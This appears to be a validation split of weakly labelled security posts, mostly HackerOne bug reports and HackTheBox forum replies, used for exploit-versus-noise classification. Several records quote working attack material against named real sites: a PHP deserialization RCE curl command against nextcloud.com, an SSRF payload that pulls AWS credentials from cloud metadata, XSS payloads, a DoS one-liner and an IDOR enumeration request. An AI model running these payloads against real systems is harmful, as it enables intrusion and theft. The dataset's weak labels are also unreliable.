-{"id": "011f2c92d2d361cd1535", "text": "[Improper Access Control - Generic] CVE-2023-40611: Apache Airflow Dag Runs Broken Access Control Vulnerability\n\n##Description:\n\nApache Airflow, versions before 2.7.1, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc.\n\nUsers should upgrade to version 2.7.1 or later which has removed the vulnerability.\n\n##Vulnerability Exploitation:\n\n1.Select Browse-->DAG Runs, we can see the Dag Run list.\n\n{F2691945}\n\n2.Select a Dag, and edit it.\n\n{F2691944}\n\n3. We can see that the Conf parameter text box is gray and cannot be edited. The current user does not have permission to modify the Conf value.\n\n{F2691946}\n\n4.Click Save to intercept the request message and modify the parameter value of Conf to \"1111111111111\".\n\n{F2691948}\n\n5.Successfully modified beyond permission.\n\n{F2691947}\n\n## Impact\n\nBroken Access Control", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-40611"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2c9df44ced75744af92", "text": "If you find it too easy (patching) then I’d suggest to turn on some good music from the Jackson 5 on auto-repeat and have a go at finding the password.Its fun!", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-07-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "978762886e8d85ac423c", "text": "Hey! can you give me a hint for finding the employee name? Cant find it. look at conversations, used ctr+F to filter by string Credent, auth, user or name as the packet details and nothing.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6eb0290f0168ade7d2aa", "text": "[Code Injection] Remote code execution via crafted pentaho report uploaded using default credentials for pentaho business server\n\n## Summary:\nGood day,\n                      While I do recon for mtn.ci domain I found  Pentaho business server at https://sm.mtn.ci:8888/pentaho with default credentials admin/password ,then I figured that I can upload  prpt reports to server which could use some beanshell,js and java to achieve RCE\n\n## Steps To Reproduce:\n1. Login to https://sm.mtn.ci:8888/pentaho admin/password  \n{F1878259}\n2. Use Pentaho report designer to create malicious report file  \n{F1878260}\n3. Upload and run the report   \n{F1878261}  \n{F1878262}\n\n## Impact\n\nThe impact of an RCE vulnerability can range from malware execution to an attacker gaining full control over a compromised server.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "eb46aaeca54ede608453", "text": "[Deserialization of Untrusted Data] RCE on Wordpress website\n\nThere is a trivial to exploit Remote Code Execution on nextcloud.com due to unserializing user input.\n\n# Proof of concept\nThe following command will execute the `system('id')` command on the host. As gadget chain I've used Monolog which is included in the PodLove WordPress plugin used on nextcloud.com: \n\n```\ncurl -i -s -k -X $'GET' \\\n    -H $'Host: nextcloud.com' \\\n    -b $'nc_cookie_banner={\\\"essentials\\\":true,\\\"convenience\\\":false,\\\"statistics\\\":{\\\"matomo\\\":false},\\\"external_media\\\":{\\\"youtube\\\":false,\\\"vimeo\\\":false}}; wp-wpml_current_language=en; nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aToxMDA7fX1zOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjM6InBvcyI7aToxO3M6Njoic3lzdGVtIjt9fQ==' \\\n    $'https://nextcloud.com/newsletter/'\n```\n\nThe last line of the response will contain the output of the `id` command:\n```\n<!-- Performance optimized by Redis Object Cache. Learn more: https://wprediscache.com -->uid=33(www-data) gid=33(www-data) groups=33(www-data)\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n# Vulnerable lines of code\nThe `unserialize` call in the below code paths is performed on user-input. (`$_COOKIE['nc_form_fields']`)\n\nhttps://github.com/nextcloud/nextcloud-theme/blob/e6db0a90391ec94f9eb6d86e16dc16e36c5f4dd4/inc/ninjaforms.php#L114\n```php\nadd_filter( 'ninja_forms_render_default_value', 'nc_change_nf_default_value', 10, 3 );\nfunction nc_change_nf_default_value( $default_value, $field_type, $field_settings ) {\n    \n    if(isset($_COOKIE['nc_form_fields'])){\n        $nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));\n\n        if( str_contains($field_settings['key'], 'name') && !str_contains($field_settings['key'], 'organization') ){\n                if(isset($nc_form_fields['nc_form_name'])) {\n                    $default_value = $nc_form_fields['nc_form_name'];\n                }\n        }\n        if( str_contains($field_settings['key'], 'email') ){\n                if(isset($nc_form_fields['nc_form_email'])) {\n                    $default_value = $nc_form_fields['nc_form_email'];\n                }\n        }\n        if( str_contains($field_settings['key'], 'phone') ){\n                if(isset($nc_form_fields['nc_form_phone'])) {\n                    $default_value = $nc_form_fields['nc_form_phone'];\n                }\n        }\n    }\n\n  return $default_value;\n}\n```\n\nhttps://github.com/nextcloud/nextcloud-theme/blob/e6db0a90391ec94f9eb6d86e16dc16e36c5f4dd4/inc/ninjaforms.php#L431\n```php\nadd_filter( 'ninja_forms_render_options', function( $options, $settings ) {\n    \n    //https://www.html-code-generator.com/php/array/languages-name-and-code\n    $languages_list = array(\n        'en' => 'English',\n        // [snip]\n        'zu' => 'Zulu - isiZulu'\n    );\n\n    if(str_contains($settings['key'], 'language')) {\n\n        $options = [];\n        $browser_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);\n\n        $pref_lang = '';\n        if(isset($_COOKIE['nc_form_fields'])){\n            $nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));\n            if( isset($nc_form_fields['nc_form_lang'])){\n                $pref_lang = $nc_form_fields['nc_form_lang'];\n            }\n        } else {\n            $pref_lang = $browser_lang;\n        }\n\n\n        foreach($languages_list as $code => $language) {\n            $selected = false;\n\n            if($pref_lang == $code){\n                $selected = true;\n            }\n\n            $options[] = [\n                'label' => $language,\n                'value' => $code,\n                'calc' => 0,\n                'selected' => $selected\n            ];\n\n        }\n        \n    }\n  \n    return $options;\n}, 10, 2 );\n```\n\n## Impact\n\nRCE on the nextcloud.com WordPress instance. I have not tried to escalate up from the host, but I'd assume there is plenty of privilege escalation potential. (or at least the ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1e2f1707153739c37307", "text": "Thanks for the instructions. I did find the injection point and I am getting the “malicious” message. I have tried various ways to obfuscate the requests. For example the request below: Gives this response: Error while moving: mv: cannot stat ‘/var/www/html/files/2561732172.txt’: No such file or directory mv: cannot move ‘/flag.txt’ to ‘/var/www/html/files/tmp/flag.txt’: Permission denied The system (index.php file) understands the request but one cannot write to tmp directory. Could you elaborate on the hint: “<<<” Do you mean to obfuscate the file name only or a whole new command like “cat /flag.txt”? Thanks a lot.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b01a42a2e827777c144d", "text": "[Unknown] Java: An experimental query for ignored hostname verification\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f1695af4993cd918b518", "text": "@james.clare Look at your --dnsserver argument and think about what it’s doing. Is that the IP you should be querying? Google that IP address and learn about what it is. Then think about where your queries should be going.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ac39d6cd277b46b99aa2", "text": "[Business Logic Errors] bypass forced password protection via circles app\n\n## Summary:\nA user can bypass password enforcement for link and email shares by using a circle\n\n## Steps To Reproduce:\n 1. enable forced passwords for link shares and email shares as administrator in the share settings\n 2. as user create a circle and add an e-mail-address\n 3. share some file to that circle\n\n## Supporting Material/References:\nUsed version: Nextcloud Version 22.2.3 circles version 22.1.1\n\n## Impact\n\nA user can create an link that is not password protected even if this is forced by the administrator.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ba02061469c6602c5f1e", "text": "[Insecure Direct Object Reference (IDOR)] IDOR in TalentMAP API can be abused to enumerate personal information of all the users\n\n## Summary:\n\nI hope you're having a good day. Before starting to describe this vulnerability, I would like to thank the HackerOne triage team for doing the difficult job of triaging all these issues. \n\nI observed an IDOR vulnerability in one of the endpoints in the Talentmap API. This vulnerability is similar to #1809328. In this report I will demonstrate ways to enumerate all user accounts in the Talentmap API logged in as a guest user. To triage this vulnerability, you need to manually build it in your system, the build instructions can be accessed in the report #1809328 where HackerOne team has successfully built the Talentmap API. However, if you're having issues building it, drop a message!\n\nAfter building the API, please go inside the docker container and run the following commands to create_seeded_users.\n\n1. `$ python manage.py create_demo_environment` \n2.  `$ python manage.py create_seeded_users`\n\nAlso, go into the docker container and create some test users:\n1. `$ python manage.py create_user normalUser normaluser@gmail.com normalUser123 Normal User`\n2.  `$ python manage.py create_user normalUser1 normaluser1@gmail.com normalUser123 Normal User`\n3. `$ python manage.py create_user normalUser2 normaluser2@gmail.com normalUser123 Normal User`\n\n** Some details: **\ni. The vulnerable endpoint = http://localhost:8000/api/v1/permission/user/{USER_ID}/  \n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. After running the API, browse `http://localhost:8000` and login using the credentials `username: guest , password: guestpassword ` , and copy the token obtained in the respones\n\n{F2139636}\n\n{F2139638}\n\n  2. Send the following request to http://localhost:8000. Replace {USER_ID} to the user id of the user you want to enumerate information of. Replace {token} to the token you obtained in step 1\n\n```\nGET /api/v1/permission/user/{USER_ID}/ HTTP/1.1\n\nHost: localhost:8000\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://localhost:8000/\nJWT: {token}\nConnection: close\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\n```\n\n  3. Observe user information returned in the response\n\nAdditionally, you could also use Burp intruder to cycle through user-ids from 1 to 100 to get information of all users in the database.\n\n{F2139641}\n\n##Remediation Guidance\n\nImplement access control mechanism. Allow the user to only fetch their information.\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nA malicious actor could fetch information of all users and cause a data breach", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a01ad6f7f139cabd512", "text": "[Cross-site Scripting (XSS) - Reflected] [www.█████] Path-based reflected Cross Site Scripting\n\n**Description:**\nThe `www.██████` endpoint is vulnerable to path-based reflected XSS which allows attackers to pass rogue JavaScript to unsuspecting users.\n\n## Impact\n\nThis flaw allows attackers to pass rogue JavaScript to unsuspecting users. Since the user’s browser has no way to know the script should not be trusted, it will execute the script, which can then access any cookies, session tokens, or other sensitive information retained by the browser and used with your website. In fact, here is a list of 21 other things that hackers can do with an XSS flaw: https://s0md3v.github.io/21-things-xss/\n\n## System Host(s)\nwww.██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Visit `https://www.█████████/███/\"><script>alert(document.domain)</script>`\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2ca5a54b6fd37489a025", "text": "[Server-Side Request Forgery (SSRF)] SSRF via potential filter bypass with too lax local domain checking\n\n## Summary:\nHi.\nReviewing the code for filtering for ssrf, in `preventLocalAddress`, we can see that it calls the function `ThrowIfLocalAddress()`. It has three common checks, first, it checks if the string is `localhost`, or if it ends in `.local` or `.localhost`\n```php\n\t\t// Disallow localhost and local network\n\t\tif ($host === 'localhost' || substr($host, -6) === '.local' || substr($host, -10) === '.localhost') {\n\t\t\t$this->logger->warning(\"Host $host was not connected to because it violates local access rules\");\n\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t}\n```\nSecond check, it checks if the provided url is only a host\n```php\n\t\t// Disallow hostname only\n\t\tif (substr_count($host, '.') === 0 && !(bool)filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {\n\t\t\t$this->logger->warning(\"Host $host was not connected to because it violates local access rules\");\n\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t}\n```\nLastly, it checks if the user input is an ip, if it is, it checks if it is not in the `FILTER_FLAG_NO_PRIV_RANGE`, or `FILTER_FLAG_NO_RES_RANGE`.\nThese checks lack something tho.  Checks for metadata. Specifically the Alibaba metadata, and google cloud metadata.    \nOther metadata like aws and digital ocean uses 169.254.169.25 which is included in the `FILTER_FLAG_NO_RES_RANGE`. Google cloud metadata tho, can be accessed with http://metadata.google.internal  which is not in any checks from above. And the alibaba metadata can be accessed with `100.100.100.200`, this ip is neither in the `FILTER_FLAG_NO_PRIV_RANGE` or `FILTER_FLAG_NO_RES_RANGE` flags, also bypassing the check. \nThis make it vulnerable to ssrf when the nextcloud host is hosted with either google cloud or alibaba\n\n## Impact\n\nSSRF filter bypass", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e618cddf985723da7aad", "text": "[Uncontrolled Resource Consumption] DOS via issue preview\n\n### Summary\nPreviewing an issue with a specially-crafted description results in high CPU usage for 60 seconds (request timeout).\nMultiple requests can be issued in parallel to create a larger impact.\n\n### Steps to reproduce\n1. Given an authorized user (on GitLab.com - anyone can self-register. On EE - depends on instance configuration).\n2. Create an issue with the following description (provided a one-line python script to avoid bloating):\n3. Hit the preview button.\n\nSteps 2&3 can be accomplished via the preview_markdown API endpoint.\n\nThe script:\n```python -c \"print('![l' * int(1048576 / 3 - 1) + '\\n')\"```\nNote: this is essentially the maximal description size, but a smaller number of repetitions works too.\n\n### Impact\nAfter 60 seconds (timeout) - the request fails.\nMeanwhile, on the server end, (a single) CPU is burnt out (verified against a local EE instance).\nIssuing multiple requests in parallel results in multiple CPUs burn out.\nUsing the DockerHub image, the entire server is completely unavailable by repeatedly sending a small number of requests repeatedly.\n\n### Examples\nThe bug is instance-independent, works on latest versions. Since GitLab.com is open-core - it would work on GitLab too.\n\n### What is the current *bug* behavior?\nThe HTTP request fails for timeout while the server is burning CPU.\n\nOn the code side:\n```texts_and_contexts``` is being initialized here:\n\n```\ndef analyze(text, context = {})\n      @texts_and_contexts << { text: text, context: context }\n    end\n```\n\nIt is then used at banzai/reference_extractor.rb:\n```\ndef html_documents\n      ...\n      @html_documents ||= Renderer.cache_collection_render(@texts_and_contexts)\n      ...\n```\n\nThe CPU utilization is found in the execution of ```cache_collection_render```.\n\n### What is the expected *correct* behavior?\nFix the implementation of ```cache_collection_render```.\n\n### Relevant logs and/or screenshots\n### Output of checks\n#### Results of GitLab environment info\n\n## Impact\n\nA complete denial of service of a GitLab EE instance.\nAs this vulnerability impacts GitLab.com, we assume that this vulnerability opens the door for a DDOS attack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bcd641c93eb9f7ed77d0", "text": "[Improper Access Control - Generic] Disabling context isolation, nodeIntegrationInSubFrames using an unauthorised frame.\n\nDetails can be found in the following github advisory: https://github.com/electron/electron/security/advisories/GHSA-mq8j-3h7h-p8g7\n\n## Impact\n\nUsing a renderer exploit, context isolation and nodeIntegrationInSubFrames can be disabled, which enables an attacker to leak IPC module and communicate with the more privileged main process which might eventually lead to Remote Code Execution if there are sensitive IPC handlers on main process.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "595833d3e482715f0f46", "text": "[Phishing] Address Bar Spoofing on TOR Browser\n\nHi TOR team,\n\nI would like to report a security bug in your browser:\n\nStep 1: Goto http://www.ոokia.com/(http://jsbin.com/wuyikedaxi/1/edit?html,output)\nStep 2: Observe that address bar points to http://www.ոokia.com/ which actually to be pointing to http://xn--okia-zgf.com, however browser displays www.ոokia.com/\n\nActual results:\n\nAddress bar points to a spoofed domain http://www.ոokia.com/. Address bar fails to parse character \"ո\"(U+0578 Armenian Small Letter). Several other characters from Armenian family lead to the same effect. \n\nExpected results:\n\nTORbrowser should have resolved the domain to real http://xn--okia-zgf.com.  On chrome, internet explorer and firefox it resolves to xn--okia-zgf.com.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ec6981f73b88d317ebfa", "text": "[Server-Side Request Forgery (SSRF)] SSRF in Functional Administrative Support Tool pdf generator (████) [HtUS]\n\n## Summary:\nI found that it is possible to inject a javascript payload during the PDF form creation process, which is then executed by the checklist application server.\n\n## Vulnerable Software: Functional Administrative Support Tool (FAST) v1.0\n\n## Intro: \n\n██████████\n\nAdministrative clerks create a dynamic action items by guiding a███ through targeted questions designed to draw out required administrative actions that are required and trigger of additional processes that need to be completed.\n\nAfter completing the question and answer process ( point 3. Get Action Items ) the application offers 2 options: Send the report by Email or print (See PDF).\n\nWhen the user clicks on (View PDF) they are redirected to the URL:███████/print/checklist/fast_session_XXXXXX.pdf . This is where the user will have access to his PDF form generated dynamically by the███ system.\n\nnote: XXXXXX is the \"session\" assigned by the system to identify a form.\n\n## Steps To Reproduce:\n1. Go to███/ and select \"BEGIN NEW SESSION\", enter a MCC code Ex. \"h99\" and SUBMIT\n2. with burp suite on, select a process, and fill in the data randomly up to point 3. (EDIPI code is a 10 chars long number. Ex. 0123456789) - click CONTINUE\n\n3. in point 3, (Get Action Items) click on PRINT (VIEW PDF) - A window will open with the dynamically generated PDF exposing the data that we complete.\n\n4. observe in burp suite the last request made to /api/save/ proceed to right click and send to \"Repeater\"\n\n5. modify value \"name\" of the json object \"globalInfo\" by the payload:\n\n`</script><script>document.write('<iframe src=\\\"http://███/latest/meta-data/iam/security-credentials/EC2CloudWatchRole\\\" width=1000px height=1000px>')</script>`\n\nand click Send request. If everything went well, the server responds \"status ok\"\n\n6. Refresh form URL. Ex.████████/print/checklist/fast_session_XXXXXX.pdf\n\nfor this PoC. AWS secretkeys were accessed:\n\n`{  \"Code\" : \"Success\",  \"LastUpdated\" : \"2022-07-06T02:57:53Z\",  \"Type\" : \"AWS-HMAC\",  \"AccessKeyId\" : \"███\",  \"SecretAccessKey\" : \"████\",  \"Token\" :\"██████\",  \"Expiration\" : \"2022-07-06T09:04:49Z\"}`\n\n## Supporting Material/References:\n\n* https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/\n* https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent\n* https://hackerone.com/reports/508459\n* https://hackerone.com/reports/53088\n\n## Impact\n\nAn attacker can inject malicious javascript payloads in the PDF generation process and executed by the checklist application server. An attacker could use this to Steal  credentials or other sensitive information from ████ AWS Instance.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bc6f661fb87ec20a76d9", "text": "[Insufficient Session Expiration] Broken Authentication Session Token Bug\n\nHi Team \nHope your are good I have found a broken authentication issue in https://www.trycourier.app\n\nSteps to reproduce \n\n1. Create a courier account or use existing one.\n2. Confirm Your email address.\n3. Now log out from your account and request for password reset code for your account .\n4. Don't use the code that has been sent to your email address.\n5. In new tab or new browser log in back to your account.\n6. Go to account setting and change your password .\n7. Now go to email and check the password reset code that we requested in step 3.\n8. Change Your password using that reset password code .\n9. You can see that your password has been changed.\n\nThe reset code is not expired after changing the password\n\n## Impact\n\nIf the site has a token issue, The result is the reset password token in the Step 3 is still usable and did not expire yet. \nIf the victims opens his mail in cybercafe or in attackers device and forgot to log out then attacker can access that system and can reset the password of his account.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "249de022f03000074424", "text": "[Cross-site Scripting (XSS) - Reflected] xss reflected - pq.tva.com\n\nPOC: \n\nhttps://pq.tva.com/siteminderagent/forms/smpwservices.fcc?USERNAME=\\u003cimg\\u0020\nsrc\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e&SMAUTHREASON=7\n\n## Impact\n\nWith the help of xss a hacker or attacker can perform social engineering on users by redirecting them from real website to fake one. hacker can steal their cookies and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5d8f8e56fd5474c4710e", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS - in Email Input\n\n**Target Url**\nhttps://█████\n\n**Summary:**\nHello, I found a reflected xss injection in the email input when updating user profile. Seems Email input is not sanitized and the special characters are not encoded.\n\n**xss payload used**\n\"><img src=x onerror=alert(1);>\n\n## Step-by-step Reproduction Instructions\n\n1. Navigate to the target url `https://███/█████/` and login.\n2. Then go to `My Profile`.\n3. Set any password. In Email input, add the payload next to the email.\nExample `your_email@gmail.com\"><img src=x onerror=alert(1);>`\nThen click save.\n\nSee this POST Request\n```\nPOST /██████/edit_profile/ HTTP/1.1\nHost: ████████\n\nREQUEST HEADER HERE\n\n-----------------------------191691572411478\nContent-Disposition: form-data; name=\"action\"\n\nsave_info\n-----------------------------191691572411478\nContent-Disposition: form-data; name=\"password[original]\"\n\nNEWPASSWORD\n-----------------------------191691572411478\nContent-Disposition: form-data; name=\"password[confirmed]\"\n\nNEWPASSWORD\n-----------------------------191691572411478\nContent-Disposition: form-data; name=\"email[original]\"\n\n███████\"><img src=x onerror=alert(1);>\n-----------------------------191691572411478--\n```\nAnd an Alert will pop up ;)\n█████████\n\n## Suggested Mitigation/Remediation Actions\nSanitize input fields or encode/escape special characters to avoid xss.\n\n## Impact\n\nAn attacker can execute malicious javascript codes on the target application.\n\nHope this is not duplicate :|", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0b0cf9e1151f5413b319", "text": "Thanks so much for the help @chappyroo . This is essential for step 5 - some of these tasks are awful!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8251ef5fb274e1c081f7", "text": "[User Interface (UI) Misrepresentation of Critical Information] Possible to spoof Origin in \"Connected Sites\"\n\nHi MetaMask Team!\n\nI have been experimenting with trying to spoof the origin of the site that is trying to interact with MetaMask. Being able to recognize the origin is an important mechanism in the Web3 ecosystem, because signing anything from a malicious origin could result a loss of funds for example. \n\nI have found that it is possible to partly spoof the origin in the `Connect Sites` menu , which seems to be caused by a bit of CSS that sets the origin domain name direction to [\"right-to-left\"](https://www.w3schools.com/cssref/pr_text_direction.asp)\n\n## Reproduction\n\n1. Install the latest MetaMask Chrome Extension (10.18.4) in the latest Chrome version (105.0.5195.127).\n2. Navigate to https://0-a.nl/metamask23rh23f923f.html\n3. Accept the request to connect to 0-a.nl\n\n████ █████\n\n4. Sign the message (although I believe this is not necessary)\n\n{F1948691}\n\n5. Open the Extension again and click `Expand view`\n\n{F1948694}\n\n6. Click the 3 dots and then `Connected Sites`\n\n{F1948696}\n\n## Result\n\nWhat we see now is that not `0-a.nl` is shown as a connected site but `a.nl-0`\n\n{F1948697}\n\n## Vulnerable code:\n\nThis behavior is caused by the fact that our domain name starts with a number and is followed by a hyphen, in combination with the following style sheet:\n\nhttps://github.com/MetaMask/metamask-extension/blob/753666d9c2a0cb2be89e885629dfa6f3ded5703b/ui/components/ui/site-origin/index.scss#L21\n```\n   direction: rtl;\n```\n\nThis specific combination of \"English\" letters, numbers and hyphens and the \"right-to-left\" direction in the stylesheet, will cause for the order of the characters in the domain name to be messed up, displaying an incorrect domain name.\n\n## Exploitation\n\nI understand `a.nl-0` is a weird looking domain and might cause some suspicions. But to demonstrate more impact we will pretend I own the domain:\n`4-metamask.io` or more specifically the subdomain https://10.18.4-metamask.io\n\nI didn't purchase this domain so to simulate this, go back to step 6 from the reproduction.\n\nRight click the `a.nl-0` and select `Inspect Element`. Select the  line saying `<span>0-a.nl</span>` and replace it with `<span>10.18.4-metamask.io</span>`. **To emphasize, this is not self-exploitation, we merely do this so we don't need to buy the `4-metamask.io` domain to POC this.**\n\nNow go back to the browser tab and the result should look like this:\n\n{F1948706}\n\nWe now spoof the domain metamask.io and use the version number to distract from the fact that a hyphen follows the .io TLD.\n\n## Impact\n\nConnecting to a website allows that website to see your MetaMask wallet address and balance, and send transaction approval requests etc. For privacy and safety concerns you might want to disconnect your MetaMask wallet from a malicious website.\n\nAs seen in Steps 3 and 4, initially we are not able to spoof the origin in the MetaMask popups. However even if you took those steps by mistake, it should be easily identifiable which website to \"Disconnect\" should you want so to. \n\nWhat I've demonstrated in this POC is that we can register a similar looking domain and make it difficult for the victim to distinguish which website to Disconnect from their wallet, with our domain hiding in plain sight. \n\nLike stated in my introduction, the mechanism to manually recognize which Origin is making requests to Metamask is a vital part of the Web3 ecosystem and a secure implementation of the screens to accommodate this should be caried out to all the applicable user interfaces.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e4a53112e63421358d24", "text": "[Unknown] HTML Injection in E-mail\n\nHello Gents,\n+ While testing \"account.acronis.com\", I found that \"first name\" could be injected with HTML tags while sending an email invitation. But this attack requires user interaction to confirm the email first, then he/she will receive a welcome email \"Welcome to your Acronis Cyber Protect trial!\" Contains the injected payload!\n\n### Steps to Reproduce:\n1. Please register at https://www.acronis.com/en-us/products/cyber-protect/trial/#registration with the victim's email.\n2. Inject \"First Name\" field with HTML tags, for example: `\"/><img src=\"x\"><a href=\"https://evil.com\">login</a>`.\n3. Check the email inbox, HTML tags will be executed. \"Your Acronis Cyber Protect trial starts today!\"\n\n### Proof of Concept:\n+ {F1687466}\n\n## Impact\n\nHTML Injection", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e16b652977f4b3ea8f00", "text": "[Path Traversal] process.binding() can bypass the permission model through path traversal\n\n**Summary:** process.binding('fs') bypassed the permission model validation against path traversal\n\n**Description:** process.binding('fs') can be used to bypass the path traversal validation for the permisison model\n\n## Steps To Reproduce:\n\nCreate the following index.js and store at `/home/pathtraversal/`\n```js\n// index.js\nconst fs = process.binding('fs')\n\nfs.mkdir('/home/pathtraversal/../test0', 511, false, null, null)\n```\n\n```console\n$ pwd\n/home/pathtraversal/\n$ node --experimental-permission --allow-fs-read=\"/home/pathtraversal/*\" --allow-fs-write=\"/home/pathtraversal/*\" index.js\n```\n\n`/home/test0` will be created bypassing the permission model validation\n\n## Impact\n\nAll the methods exposed by the process.binding('fs') could eventually bypass the permission model using path traversal. It will require the attacker to read the node_file.cc implementation, but that's trivial.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
